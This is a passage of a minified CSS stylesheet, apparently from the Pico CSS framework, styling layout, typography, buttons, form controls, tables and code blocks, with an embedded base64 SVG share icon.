12\'%3E%3C/polyline%3E%3C/svg%3E);--icon-share:url(data:image/svg+xml;charset=utf-8;base64,PHN2ZyB3aWR0aD0nMjInIGhlaWdodD0nMjInIHZpZXdCb3g9JzAgMCAyMiAyMicgZmlsbD0nbm9uZScgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJz48cGF0aCBkPSdNMTcuOTM0OCA3LjY0ODQ0QzE5Ljg5NDEgNy42NDg0NCAyMS40ODU1IDYuMDU0NjkgMjEuNDg1NSA0LjA5NzY2QzIxLjQ4NTUgMi4xNDA2MiAxOS44OTE4IDAuNTQ2ODc1IDE3LjkzNDggMC41NDY4NzVDMTUuOTc1NCAwLjU0Njg3NSAxNC4zODQgMi4xNDA2MiAxNC4zODQgNC4wOTc2NkMxNC4zODQgNC4yOTkyMiAxNC40MDA0IDQuNDkzNzUgMTQuNDMzMiA0LjY4NTk0TDYuMzIzODMgOC4zNTM5MUM1LjcwOTc3IDcuODQ1MzEgNC45MjIyNyA3LjU0MDYyIDQuMDY0NDUgNy41NDA2MkMyLjEwNTA4IDcuNTQwNjIgMC41MTM2NzIgOS4xMzQzOCAwLjUxMzY3MiAxMS4wOTE0QzAuNTEzNjcyIDEzLjA0ODQgMi4xMDc0MiAxNC42NDIyIDQuMDY0NDUgMTQuNjQyMkM0LjgzMzIgMTQuNjQyMiA1LjU0NTcgMTQuMzk2MSA2LjEyNjk1IDEzLjk4MTNMMTEuNDk0MSAxNi45OTUzQzExLjQxNjggMTcuMjg1OSAxMS4zNzcgMTcuNTg4MyAxMS4zNzcgMTcuOTAyM0MxMS4zNzcgMTkuODYxNyAxMi45NzA3IDIxLjQ1MzEgMTQuOTI3NyAyMS40NTMxQzE2Ljg4NzEgMjEuNDUzMSAxOC40Nzg1IDE5Ljg1OTQgMTguNDc4NSAxNy45MDIzQzE4LjQ3ODUgMTUuOTQzIDE2Ljg4NDggMTQuMzUxNiAxNC45Mjc3IDE0LjM1MTZDMTMuOTU3NCAxNC4zNTE2IDEzLjA3ODUgMTQuNzQzIDEyLjQzNjMgMTUuMzczNEw3LjMyMjI3IDEyLjUwNDdDNy41MDk3NyAxMi4wNzExIDcuNjE1MjMgMTEuNTk1MyA3LjYxNTIzIDExLjA5MzhDNy42MTUyMyAxMC42ODEyIDcuNTQ0OTIgMTAuMjg3NSA3LjQxNjAyIDkuOTE5NTNMMTUuMjIzIDYuMzg3NUMxNS44NzQ2IDcuMTU2MjUgMTYuODQ5NiA3LjY0ODQ0IDE3LjkzNDggNy42NDg0NFpNNC4wNjQ0NSAxMi43Njk1QzMuMTQxMDIgMTIuNzY5NSAyLjM4ODY3IDEyLjAxNzIgMi4zODg2NyAxMS4wOTM4QzIuMzg4NjcgMTAuMTcwMyAzLjE0MTAyIDkuNDE3OTcgNC4wNjQ0NSA5LjQxNzk3QzQuOTg3ODkgOS40MTc5NyA1Ljc0MDIzIDEwLjE3MDMgNS43NDAyMyAxMS4wOTM4QzUuNzQwMjMgMTIuMDE3MiA0Ljk4Nzg5IDEyLjc2OTUgNC4wNjQ0NSAxMi43Njk1Wk0xNC45Mjc3IDE2LjIyNjZDMTUuODUxMiAxNi4yMjY2IDE2LjYwMzUgMTYuOTc4OSAxNi42MDM1IDE3LjkwMjNDMTYuNjAzNSAxOC44MjU4IDE1Ljg1MTIgMTkuNTc4MSAxNC45Mjc3IDE5LjU3ODFDMTQuMDA0MyAxOS41NzgxIDEzLjI1MiAxOC44MjU4IDEzLjI1MiAxNy45MDIzQzEzLjI1MiAxNi45Nzg5IDE0LjAwMiAxNi4yMjY2IDE0LjkyNzcgMTYuMjI2NlpNMTcuOTM0OCAyLjQxOTUzQzE4Ljg1ODIgMi40MTk1MyAxOS42MTA1IDMuMTcxODcgMTkuNjEwNSA0LjA5NTMxQzE5LjYxMDUgNS4wMTg3NSAxOC44NTgyIDUuNzcxMDkgMTcuOTM0OCA1Ljc3MTA5QzE3LjAxMTMgNS43NzEwOSAxNi4yNTkgNS4wMTg3NSAxNi4yNTkgNC4wOTUzMUMxNi4yNTkgMy4xNzE4NyAxNy4wMTEzIDIuNDE5NTMgMTcuOTM0OCAyLjQxOTUzWicgZmlsbD0nI0I2QjZCNicvPjwvc3ZnPiA=);color-scheme:dark}progress,[type="checkbox"],[type="radio"],[type="range"]{accent-color:var(--primary)}*,*::before,*::after{box-sizing:border-box;background-repeat:no-repeat}::before,::after{text-decoration:inherit;vertical-align:inherit}:where(#mount){-webkit-tap-highlight-color:transparent;-webkit-text-size-adjust:100%;-moz-text-size-adjust:100%;text-size-adjust:100%;background-color:var(--background-color);color:var(--color);font-weight:var(--font-weight);font-size:var(--font-size);line-height:var(--line-height);font-family:var(--font-family);text-rendering:optimizeLegibility;overflow-wrap:break-word;cursor:default;-moz-tab-size:4;-o-tab-size:4;tab-size:4}main{display:block}#mount{width:100%;margin:0}#mount>header,#mount>main,#mount>footer{width:100%;margin-right:auto;margin-left:auto;padding:var(--block-spacing-vertical) var(--block-spacing-horizontal)}@media (min-width:576px){#mount>header,#mount>main,#mount>footer{max-width:510px;padding-right:0;padding-left:0}}@media (min-width:768px){#mount>header,#mount>main,#mount>footer{max-width:700px}}@media (min-width:992px){#mount>header,#mount>main,#mount>footer{max-width:920px}}@media (min-width:1200px){#mount>header,#mount>main,#mount>footer{max-width:1130px}}.container,.container-fluid{width:100%;margin-right:auto;margin-left:auto;padding-right:var(--spacing);padding-left:var(--spacing)}@media (min-width:576px){.container{max-width:510px;padding-right:0;padding-left:0}}@media (min-width:768px){.container{max-width:700px}}@media (min-width:992px){.container{max-width:920px}}@media (min-width:1200px){.container{max-width:1130px}}section{margin-bottom:var(--block-spacing-vertical)}.grid{grid-column-gap:var(--grid-spacing-horizontal);grid-row-gap:var(--grid-spacing-vertical);display:grid;grid-template-columns:1fr;margin:0}@media (min-width:992px){.grid{grid-template-columns:repeat(auto-fit,minmax(0%,1fr))}}.grid>*{min-width:0}figure{display:block;margin:0;padding:0;overflow-x:auto}figure figcaption{padding:calc(var(--spacing)*0.5)0;color:var(--muted-color)}b,strong{font-weight:bolder}sub,sup{position:relative;font-size:0.75em;line-height:0;vertical-align:baseline}sub{bottom:-0.25em}sup{top:-0.5em}address,blockquote,dl,figure,form,ol,p,pre,table,ul{margin-top:0;margin-bottom:var(--typography-spacing-vertical);color:var(--color);font-style:normal;font-weight:var(--font-weight);font-size:var(--font-size)}a,[role="link"]{--color:var(--primary);--background-color:transparent;outline:none;background-color:var(--background-color);color:var(--color);-webkit-text-decoration:var(--text-decoration);text-decoration:var(--text-decoration);transition:background-color var(--transition),color var(--transition),box-shadow var(--transition),-webkit-text-decoration var(--transition);transition:background-color var(--transition),color var(--transition),text-decoration var(--transition),box-shadow var(--transition);transition:background-color var(--transition),color var(--transition),text-decoration var(--transition),box-shadow var(--transition),-webkit-text-decoration var(--transition)}a:is([aria-current],:hover,:active,:focus),[role="link"]:is([aria-current],:hover,:active,:focus){--color:var(--primary-hover);--text-decoration:underline}a:focus,[role="link"]:focus{--background-color:var(--primary-focus)}a.secondary,[role="link"].secondary{--color:var(--secondary)}a.secondary:is([aria-current],:hover,:active,:focus),[role="link"].secondary:is([aria-current],:hover,:active,:focus){--color:var(--secondary-hover)}a.secondary:focus,[role="link"].secondary:focus{--background-color:var(--secondary-focus)}a.contrast,[role="link"].contrast{--color:var(--contrast)}a.contrast:is([aria-current],:hover,:active,:focus),[role="link"].contrast:is([aria-current],:hover,:active,:focus){--color:var(--contrast-hover)}a.contrast:focus,[role="link"].contrast:focus{--background-color:var(--contrast-focus)}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:var(--typography-spacing-vertical);color:var(--color);font-weight:var(--font-weight);font-size:var(--font-size);font-family:var(--font-family)}h1{--color:var(--h1-color)}h2{--color:var(--h2-color)}h3{--color:var(--h3-color)}h4{--color:var(--h4-color)}h5{--color:var(--h5-color)}h6{--color:var(--h6-color)}:where(address,blockquote,dl,figure,form,ol,p,pre,table,ul)~:is(h1,h2,h3,h4,h5,h6){margin-top:var(--typography-spacing-vertical)}hgroup,.headings{margin-bottom:var(--typography-spacing-vertical)}hgroup>*,.headings>*{margin-bottom:0}hgroup>*:last-child,.headings>*:last-child{--color:var(--muted-color);--font-weight:unset;font-size:1rem;font-family:unset}p{margin-bottom:var(--typography-spacing-vertical)}small{font-size:var(--font-size)}:where(dl,ol,ul){padding-right:0;padding-left:var(--spacing);-webkit-padding-start:var(--spacing);padding-inline-start:var(--spacing);-webkit-padding-end:0;padding-inline-end:0}:where(dl,ol,ul) li{margin-bottom:calc(var(--typography-spacing-vertical)*0.25)}:where(dl,ol,ul) :is(dl,ol,ul){margin:0;margin-top:calc(var(--typography-spacing-vertical)*0.25)}ul li{list-style:square}mark{padding:0.125rem 0.25rem;background-color:var(--mark-background-color);color:var(--mark-color);vertical-align:baseline}blockquote{display:block;margin:var(--typography-spacing-vertical)0;padding:var(--spacing);border-right:none;border-left:0.25rem solid var(--blockquote-border-color);-webkit-border-start:0.25rem solid var(--blockquote-border-color);border-inline-start:0.25rem solid var(--blockquote-border-color);-webkit-border-end:none;border-inline-end:none}blockquote footer{margin-top:calc(var(--typography-spacing-vertical)*0.5);color:var(--blockquote-footer-color)}abbr[title]{border-bottom:1px dotted;text-decoration:none;cursor:help}ins{color:var(--ins-color);text-decoration:none}del{color:var(--del-color)}::-moz-selection{background-color:var(--primary-focus)}::selection{background-color:var(--primary-focus)}:where(audio,canvas,iframe,img,svg,video){vertical-align:middle}audio,video{display:inline-block}audio:not([controls]){display:none;height:0}:where(iframe){border-style:none}img{max-width:100%;height:auto;border-style:none}:where(svg:not([fill])){fill:currentColor}svg:not(#mount){overflow:hidden}button{margin:0;overflow:visible;font-family:inherit;text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button{display:block;width:100%;margin-bottom:var(--spacing)}[role="button"]{display:inline-block;text-decoration:none}button,input[type="submit"],input[type="button"],input[type="reset"],[role="button"]{--background-color:var(--primary);--border-color:var(--primary);--color:var(--primary-inverse);--box-shadow:var(--button-box-shadow,0 0 0 rgba(0,0,0,0));padding:var(--form-element-spacing-vertical) var(--form-element-spacing-horizontal);border:var(--border-width) solid var(--border-color);border-radius:var(--border-radius);outline:none;background-color:var(--background-color);box-shadow:var(--box-shadow);color:var(--color);font-weight:var(--font-weight);font-size:1rem;line-height:var(--line-height);text-align:center;cursor:pointer;transition:background-color var(--transition),border-color var(--transition),color var(--transition),box-shadow var(--transition)}button:is([aria-current],:hover,:active,:focus),input[type="submit"]:is([aria-current],:hover,:active,:focus),input[type="button"]:is([aria-current],:hover,:active,:focus),input[type="reset"]:is([aria-current],:hover,:active,:focus),[role="button"]:is([aria-current],:hover,:active,:focus){--background-color:var(--primary-hover);--border-color:var(--primary-hover);--box-shadow:var(--button-hover-box-shadow,0 0 0 rgba(0,0,0,0));--color:var(--primary-inverse)}button:focus,input[type="submit"]:focus,input[type="button"]:focus,input[type="reset"]:focus,[role="button"]:focus{--box-shadow:var(--button-hover-box-shadow,0 0 0 rgba(0,0,0,0)),0 0 0 var(--outline-width) var(--primary-focus)}:is(button,input[type="submit"],input[type="button"],[role="button"]).secondary,input[type="reset"]{--background-color:var(--secondary);--border-color:var(--secondary);--color:var(--secondary-inverse);cursor:pointer}:is(button,input[type="submit"],input[type="button"],[role="button"]).secondary:is([aria-current],:hover,:active,:focus),input[type="reset"]:is([aria-current],:hover,:active,:focus){--background-color:var(--secondary-hover);--border-color:var(--secondary-hover);--color:var(--secondary-inverse)}:is(button,input[type="submit"],input[type="button"],[role="button"]).secondary:focus,input[type="reset"]:focus{--box-shadow:var(--button-hover-box-shadow,0 0 0 rgba(0,0,0,0)),0 0 0 var(--outline-width) var(--secondary-focus)}:is(button,input[type="submit"],input[type="button"],[role="button"]).contrast{--background-color:var(--contrast);--border-color:var(--contrast);--color:var(--contrast-inverse)}:is(button,input[type="submit"],input[type="button"],[role="button"]).contrast:is([aria-current],:hover,:active,:focus){--background-color:var(--contrast-hover);--border-color:var(--contrast-hover);--color:var(--contrast-inverse)}:is(button,input[type="submit"],input[type="button"],[role="button"]).contrast:focus{--box-shadow:var(--button-hover-box-shadow,0 0 0 rgba(0,0,0,0)),0 0 0 var(--outline-width) var(--contrast-focus)}:is(button,input[type="submit"],input[type="button"],[role="button"]).outline,input[type="reset"].outline{--background-color:transparent;--color:var(--primary)}:is(button,input[type="submit"],input[type="button"],[role="button"]).outline:is([aria-current],:hover,:active,:focus),input[type="reset"].outline:is([aria-current],:hover,:active,:focus){--background-color:transparent;--color:var(--primary-hover)}:is(button,input[type="submit"],input[type="button"],[role="button"]).outline.secondary,input[type="reset"].outline{--color:var(--secondary)}:is(button,input[type="submit"],input[type="button"],[role="button"]).outline.secondary:is([aria-current],:hover,:active,:focus),input[type="reset"].outline:is([aria-current],:hover,:active,:focus){--color:var(--secondary-hover)}:is(button,input[type="submit"],input[type="button"],[role="button"]).outline.contrast{--color:var(--contrast)}:is(button,input[type="submit"],input[type="button"],[role="button"]).outline.contrast:is([aria-current],:hover,:active,:focus){--color:var(--contrast-hover)}:where(button,[type="submit"],[type="button"],[type="reset"],[role="button"])[disabled],:where(fieldset[disabled]) :is(button,[type="submit"],[type="button"],[type="reset"],[role="button"]),a[role="button"]:not([href]){opacity:0.5;pointer-events:none}input,optgroup,select,textarea{margin:0;font-size:1rem;line-height:var(--line-height);font-family:inherit;letter-spacing:inherit}input{overflow:visible}select{text-transform:none}legend{max-width:100%;padding:0;color:inherit;white-space:normal}textarea{overflow:auto}[type="checkbox"],[type="radio"]{padding:0}::-webkit-inner-spin-button,::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}::-moz-focus-inner{padding:0;border-style:none}:-moz-focusring{outline:none}:-moz-ui-invalid{box-shadow:none}::-ms-expand{display:none}[type="file"],[type="range"]{padding:0;border-width:0}input:not([type="checkbox"],[type="radio"],[type="range"]){height:calc(1rem*var(--line-height) + var(--form-element-spacing-vertical)*2 + var(--border-width)*2)}fieldset{margin:0;margin-bottom:var(--spacing);padding:0;border:0}label,fieldset legend{display:block;margin-bottom:calc(var(--spacing)*0.25);font-weight:var(--form-label-font-weight,var(--font-weight))}input:not([type="checkbox"],[type="radio"]),select,textarea{width:100%}input:not([type="checkbox"],[type="radio"],[type="range"],[type="file"]),select,textarea{-webkit-appearance:none;-moz-appearance:none;appearance:none;padding:var(--form-element-spacing-vertical) var(--form-element-spacing-horizontal)}input,select,textarea{--background-color:var(--form-element-background-color);--border-color:var(--form-element-border-color);--color:var(--form-element-color);--box-shadow:none;border:var(--border-width) solid var(--border-color);border-radius:var(--border-radius);outline:none;background-color:var(--background-color);box-shadow:var(--box-shadow);color:var(--color);font-weight:var(--font-weight);transition:background-color var(--transition),border-color var(--transition),color var(--transition),box-shadow var(--transition)}input:not([type="submit"],[type="button"],[type="reset"],[type="checkbox"],[type="radio"],[readonly]):is(:active,:focus),:where(select,textarea):is(:active,:focus){--background-color:var(--form-element-active-background-color)}input:not([type="submit"],[type="button"],[type="reset"],[role="switch"],[readonly]):is(:active,:focus),:where(select,textarea):is(:active,:focus){--border-color:var(--form-element-active-border-color)}input:not([type="submit"],[type="button"],[type="reset"],[type="range"],[type="file"],[readonly]):focus,select:focus,textarea:focus{--box-shadow:0 0 0 var(--outline-width) var(--form-element-focus-color)}input:not([type="submit"],[type="button"],[type="reset"])[disabled],select[disabled],textarea[disabled],:where(fieldset[disabled]) :is(input:not([type="submit"],[type="button"],[type="reset"]),select,textarea){--background-color:var(--form-element-disabled-background-color);--border-color:var(--form-element-disabled-border-color);opacity:var(--form-element-disabled-opacity);pointer-events:none}:where(input,select,textarea):not([type="checkbox"],[type="radio"],[type="date"],[type="datetime-local"],[type="month"],[type="time"],[type="week"])[aria-invalid]{padding-right:calc(var(--form-element-spacing-horizontal) + 1.5rem)!important;padding-left:var(--form-element-spacing-horizontal);-webkit-padding-start:var(--form-element-spacing-horizontal)!important;padding-inline-start:var(--form-element-spacing-horizontal)!important;-webkit-padding-end:calc(var(--form-element-spacing-horizontal) + 1.5rem)!important;padding-inline-end:calc(var(--form-element-spacing-horizontal) + 1.5rem)!important;background-position:center right 0.75rem;background-size:1rem auto;background-repeat:no-repeat}:where(input,select,textarea):not([type="checkbox"],[type="radio"],[type="date"],[type="datetime-local"],[type="month"],[type="time"],[type="week"])[aria-invalid="false"]{background-image:var(--icon-valid)}:where(input,select,textarea):not([type="checkbox"],[type="radio"],[type="date"],[type="datetime-local"],[type="month"],[type="time"],[type="week"])[aria-invalid="true"]{background-image:var(--icon-invalid)}:where(input,select,textarea)[aria-invalid="false"]{--border-color:var(--form-element-valid-border-color)}:where(input,select,textarea)[aria-invalid="false"]:is(:active,:focus){--border-color:var(--form-element-valid-active-border-color)!important;--box-shadow:0 0 0 var(--outline-width) var(--form-element-valid-focus-color)!important}:where(input,select,textarea)[aria-invalid="true"]{--border-color:var(--form-element-invalid-border-color)}:where(input,select,textarea)[aria-invalid="true"]:is(:active,:focus){--border-color:var(--form-element-invalid-active-border-color)!important;--box-shadow:0 0 0 var(--outline-width) var(--form-element-invalid-focus-color)!important}[dir="rtl"] :where(input,select,textarea):not([type="checkbox"],[type="radio"]):is([aria-invalid],[aria-invalid="true"],[aria-invalid="false"]){background-position:center left 0.75rem}input::placeholder,input::-webkit-input-placeholder,textarea::placeholder,textarea::-webkit-input-placeholder,select:invalid{color:var(--form-element-placeholder-color);opacity:1}input:not([type="checkbox"],[type="radio"]),select,textarea{margin-bottom:var(--spacing)}select::-ms-expand{border:0;background-color:transparent}select:not([multiple],[size]){padding-right:calc(var(--form-element-spacing-horizontal) + 1.5rem);padding-left:var(--form-element-spacing-horizontal);-webkit-padding-start:var(--form-element-spacing-horizontal);padding-inline-start:var(--form-element-spacing-horizontal);-webkit-padding-end:calc(var(--form-element-spacing-horizontal) + 1.5rem);padding-inline-end:calc(var(--form-element-spacing-horizontal) + 1.5rem);background-image:var(--icon-chevron);background-position:center right 0.75rem;background-size:1rem auto;background-repeat:no-repeat}[dir="rtl"] select:not([multiple],[size]){background-position:center left 0.75rem}:where(input,select,textarea)+small{display:block;width:100%;margin-top:calc(var(--spacing)*-0.75);margin-bottom:var(--spacing);color:var(--muted-color)}label>:where(input,select,textarea){margin-top:calc(var(--spacing)*0.25)}[type="checkbox"],[type="radio"]{-webkit-appearance:none;-moz-appearance:none;appearance:none;width:1.25em;height:1.25em;margin-top:-0.125em;margin-right:0.375em;margin-left:0;-webkit-margin-start:0;margin-inline-start:0;-webkit-margin-end:0.375em;margin-inline-end:0.375em;border-width:var(--border-width);font-size:inherit;vertical-align:middle;cursor:pointer}[type="checkbox"]::-ms-check,[type="radio"]::-ms-check{display:none}[type="checkbox"]:checked,[type="checkbox"]:checked:active,[type="checkbox"]:checked:focus,[type="radio"]:checked,[type="radio"]:checked:active,[type="radio"]:checked:focus{--background-color:var(--primary);--border-color:var(--primary);background-image:var(--icon-checkbox);background-position:center;background-size:0.75em auto;background-repeat:no-repeat}[type="checkbox"]~label,[type="radio"]~label{display:inline-block;margin-right:0.375em;margin-bottom:0;cursor:pointer}[type="checkbox"]:indeterminate{--background-color:var(--primary);--border-color:var(--primary);background-image:var(--icon-minus);background-position:center;background-size:0.75em auto;background-repeat:no-repeat}[type="radio"]{border-radius:50%}[type="radio"]:checked,[type="radio"]:checked:active,[type="radio"]:checked:focus{--background-color:var(--primary-inverse);border-width:0.35em;background-image:none}[type="checkbox"][role="switch"]{--background-color:var(--switch-background-color);--border-color:var(--switch-background-color);--color:var(--switch-color);width:2.25em;height:1.25em;border:var(--border-width) solid var(--border-color);border-radius:1.25em;background-color:var(--background-color);line-height:1.25em}[type="checkbox"][role="switch"]:focus{--background-color:var(--switch-background-color);--border-color:var(--switch-background-color)}[type="checkbox"][role="switch"]:checked{--background-color:var(--switch-checked-background-color);--border-color:var(--switch-checked-background-color)}[type="checkbox"][role="switch"]:before{display:block;width:calc(1.25em - (var(--border-width)*2));height:100%;border-radius:50%;background-color:var(--color);content:"";transition:margin 0.1s ease-in-out}[type="checkbox"][role="switch"]:checked{background-image:none}[type="checkbox"][role="switch"]:checked::before{margin-left:calc(1.125em - var(--border-width));-webkit-margin-start:calc(1.125em - var(--border-width));margin-inline-start:calc(1.125em - var(--border-width))}[type="checkbox"][aria-invalid="false"],[type="checkbox"]:checked[aria-invalid="false"],[type="radio"][aria-invalid="false"],[type="radio"]:checked[aria-invalid="false"],[type="checkbox"][role="switch"][aria-invalid="false"],[type="checkbox"][role="switch"]:checked[aria-invalid="false"]{--border-color:var(--form-element-valid-border-color)}[type="checkbox"][aria-invalid="true"],[type="checkbox"]:checked[aria-invalid="true"],[type="radio"][aria-invalid="true"],[type="radio"]:checked[aria-invalid="true"],[type="checkbox"][role="switch"][aria-invalid="true"],[type="checkbox"][role="switch"]:checked[aria-invalid="true"]{--border-color:var(--form-element-invalid-border-color)}[type="color"]::-webkit-color-swatch-wrapper{padding:0}[type="color"]::-moz-focus-inner{padding:0}[type="color"]::-webkit-color-swatch{border:0;border-radius:calc(var(--border-radius)*0.5)}[type="color"]::-moz-color-swatch{border:0;border-radius:calc(var(--border-radius)*0.5)}input:not([type="checkbox"],[type="radio"],[type="range"],[type="file"]):is([type="date"],[type="datetime-local"],[type="month"],[type="time"],[type="week"]){--icon-position:0.75rem;--icon-width:1rem;padding-right:calc(var(--icon-width) + var(--icon-position));background-image:var(--icon-date);background-position:center right var(--icon-position);background-size:var(--icon-width) auto;background-repeat:no-repeat}input:not([type="checkbox"],[type="radio"],[type="range"],[type="file"])[type="time"]{background-image:var(--icon-time)}[type="date"]::-webkit-calendar-picker-indicator,[type="datetime-local"]::-webkit-calendar-picker-indicator,[type="month"]::-webkit-calendar-picker-indicator,[type="time"]::-webkit-calendar-picker-indicator,[type="week"]::-webkit-calendar-picker-indicator{width:var(--icon-width);margin-right:calc(var(--icon-width)*-1);margin-left:var(--icon-position);opacity:0}[dir="rtl"] :is([type="date"],[type="datetime-local"],[type="month"],[type="time"],[type="week"]){text-align:right}[type="file"]{--color:var(--muted-color);padding:calc(var(--form-element-spacing-vertical)*0.5)0;border:0;border-radius:0;background:none}[type="file"]::file-selector-button{--background-color:var(--secondary);--border-color:var(--secondary);--color:var(--secondary-inverse);margin-right:calc(var(--spacing)/2);margin-left:0;-webkit-margin-start:0;margin-inline-start:0;-webkit-margin-end:calc(var(--spacing)/2);margin-inline-end:calc(var(--spacing)/2);padding:calc(var(--form-element-spacing-vertical)*0.5) calc(var(--form-element-spacing-horizontal)*0.5);border:var(--border-width) solid var(--border-color);border-radius:var(--border-radius);outline:none;background-color:var(--background-color);box-shadow:var(--box-shadow);color:var(--color);font-weight:var(--font-weight);font-size:1rem;line-height:var(--line-height);text-align:center;cursor:pointer;transition:background-color var(--transition),border-color var(--transition),color var(--transition),box-shadow var(--transition)}[type="file"]::file-selector-button:is(:hover,:active,:focus){--background-color:var(--secondary-hover);--border-color:var(--secondary-hover)}[type="file"]::-webkit-file-upload-button{--background-color:var(--secondary);--border-color:var(--secondary);--color:var(--secondary-inverse);margin-right:calc(var(--spacing)/2);margin-left:0;-webkit-margin-start:0;margin-inline-start:0;-webkit-margin-end:calc(var(--spacing)/2);margin-inline-end:calc(var(--spacing)/2);padding:calc(var(--form-element-spacing-vertical)*0.5) calc(var(--form-element-spacing-horizontal)*0.5);border:var(--border-width) solid var(--border-color);border-radius:var(--border-radius);outline:none;background-color:var(--background-color);box-shadow:var(--box-shadow);color:var(--color);font-weight:var(--font-weight);font-size:1rem;line-height:var(--line-height);text-align:center;cursor:pointer;-webkit-transition:background-color var(--transition),border-color var(--transition),color var(--transition),box-shadow var(--transition);transition:background-color var(--transition),border-color var(--transition),color var(--transition),box-shadow var(--transition)}[type="file"]::-webkit-file-upload-button:is(:hover,:active,:focus){--background-color:var(--secondary-hover);--border-color:var(--secondary-hover)}[type="file"]::-ms-browse{--background-color:var(--secondary);--border-color:var(--secondary);--color:var(--secondary-inverse);margin-right:calc(var(--spacing)/2);margin-left:0;margin-inline-start:0;margin-inline-end:calc(var(--spacing)/2);padding:calc(var(--form-element-spacing-vertical)*0.5) calc(var(--form-element-spacing-horizontal)*0.5);border:var(--border-width) solid var(--border-color);border-radius:var(--border-radius);outline:none;background-color:var(--background-color);box-shadow:var(--box-shadow);color:var(--color);font-weight:var(--font-weight);font-size:1rem;line-height:var(--line-height);text-align:center;cursor:pointer;-ms-transition:background-color var(--transition),border-color var(--transition),color var(--transition),box-shadow var(--transition);transition:background-color var(--transition),border-color var(--transition),color var(--transition),box-shadow var(--transition)}[type="file"]::-ms-browse:is(:hover,:active,:focus){--background-color:var(--secondary-hover);--border-color:var(--secondary-hover)}[type="range"]{-webkit-appearance:none;-moz-appearance:none;appearance:none;width:100%;height:1.25rem;background:none}[type="range"]::-webkit-slider-runnable-track{width:100%;height:0.25rem;border-radius:var(--border-radius);background-color:var(--range-border-color);-webkit-transition:background-color var(--transition),box-shadow var(--transition);transition:background-color var(--transition),box-shadow var(--transition)}[type="range"]::-moz-range-track{width:100%;height:0.25rem;border-radius:var(--border-radius);background-color:var(--range-border-color);-moz-transition:background-color var(--transition),box-shadow var(--transition);transition:background-color var(--transition),box-shadow var(--transition)}[type="range"]::-ms-track{width:100%;height:0.25rem;border-radius:var(--border-radius);background-color:var(--range-border-color);-ms-transition:background-color var(--transition),box-shadow var(--transition);transition:background-color var(--transition),box-shadow var(--transition)}[type="range"]::-webkit-slider-thumb{-webkit-appearance:none;width:1.25rem;height:1.25rem;margin-top:-0.5rem;border:2px solid var(--range-thumb-border-color);border-radius:50%;background-color:var(--range-thumb-color);cursor:pointer;-webkit-transition:background-color var(--transition),transform var(--transition);transition:background-color var(--transition),transform var(--transition)}[type="range"]::-moz-range-thumb{-webkit-appearance:none;width:1.25rem;height:1.25rem;margin-top:-0.5rem;border:2px solid var(--range-thumb-border-color);border-radius:50%;background-color:var(--range-thumb-color);cursor:pointer;-moz-transition:background-color var(--transition),transform var(--transition);transition:background-color var(--transition),transform var(--transition)}[type="range"]::-ms-thumb{-webkit-appearance:none;width:1.25rem;height:1.25rem;margin-top:-0.5rem;border:2px solid var(--range-thumb-border-color);border-radius:50%;background-color:var(--range-thumb-color);cursor:pointer;-ms-transition:background-color var(--transition),transform var(--transition);transition:background-color var(--transition),transform var(--transition)}[type="range"]:hover,[type="range"]:focus{--range-border-color:var(--range-active-border-color);--range-thumb-color:var(--range-thumb-hover-color)}[type="range"]:active{--range-thumb-color:var(--range-thumb-active-color)}[type="range"]:active::-webkit-slider-thumb{transform:scale(1.25)}[type="range"]:active::-moz-range-thumb{transform:scale(1.25)}[type="range"]:active::-ms-thumb{transform:scale(1.25)}input:not([type="checkbox"],[type="radio"],[type="range"],[type="file"])[type="search"]{-webkit-padding-start:calc(var(--form-element-spacing-horizontal) + 1.75rem);padding-inline-start:calc(var(--form-element-spacing-horizontal) + 1.75rem);border-radius:5rem;background-image:var(--icon-search);background-position:center left 1.125rem;background-size:1rem auto;background-repeat:no-repeat}input:not([type="checkbox"],[type="radio"],[type="range"],[type="file"])[type="search"][aria-invalid]{-webkit-padding-start:calc(var(--form-element-spacing-horizontal) + 1.75rem)!important;padding-inline-start:calc(var(--form-element-spacing-horizontal) + 1.75rem)!important;background-position:center left 1.125rem,center right 0.75rem}input:not([type="checkbox"],[type="radio"],[type="range"],[type="file"])[type="search"][aria-invalid="false"]{background-image:var(--icon-search),var(--icon-valid)}input:not([type="checkbox"],[type="radio"],[type="range"],[type="file"])[type="search"][aria-invalid="true"]{background-image:var(--icon-search),var(--icon-invalid)}[type="search"]::-webkit-search-cancel-button{-webkit-appearance:none;display:none}[dir="rtl"] :where(input):not([type="checkbox"],[type="radio"],[type="range"],[type="file"])[type="search"]{background-position:center right 1.125rem}[dir="rtl"] :where(input):not([type="checkbox"],[type="radio"],[type="range"],[type="file"])[type="search"][aria-invalid]{background-position:center right 1.125rem,center left 0.75rem}:where(table){width:100%;border-collapse:collapse;border-spacing:0;text-indent:0}th,td{padding:calc(var(--spacing)/2) var(--spacing);border-bottom:var(--border-width) solid var(--table-border-color);color:var(--color);font-weight:var(--font-weight);font-size:var(--font-size);text-align:left;text-align:start}tfoot th,tfoot td{border-top:var(--border-width) solid var(--table-border-color);border-bottom:0}table[role="grid"] tbody tr:nth-child(odd){background-color:var(--table-row-stripped-background-color)}pre,code,kbd,samp{font-size:0.875em;font-family:var(--font-family)}pre{-ms-overflow-style:scrollbar;overflow:auto}pre,code,kbd{border-radius:var(--border-radius);background:var(--code-background-color);color:var(--code-color);font-weight:var(--font-weight);line-height:initial}code,kbd{display:inline-block;padding:0.375rem 0.5rem}pre{display:block;margin-bottom:var(--spacing);overflow-x:auto}pre>code{display:block;padding:var(--spacing);background:none;font-size:14px;line-height:var(--line-height)}code b{color:var(--code-tag-color);font-weight:var(--font-weight)}code i{color:var(--code-property-color);font-style:normal}code u{color:var(--code-value-color);text-decoration:none}code em{color:var(--code-comment-color);font-style:normal}kbd{background-color:var(--code-kbd-background-color);color:var(--code-kbd-color);vertical-align:baseline}hr{height:0;border:0;border-top:1px solid var(--muted-border-color);color:inherit}[hidden],template{display:none!important}canvas{display:inline-block}details{display:block;margin-bottom:var(--spacing);padding-bottom:var(--spacing);border-bottom:var(--border-width) solid var(--accordion-border-color)}details summary{line-height:1rem;list-style-type:none;cursor:pointer;transition:color var(--transition)}details summary:not([role]){color:var(--accordion-close-summary-color)}details summary::-webkit-details-marker{display:none}details summary::marker{display:none}details 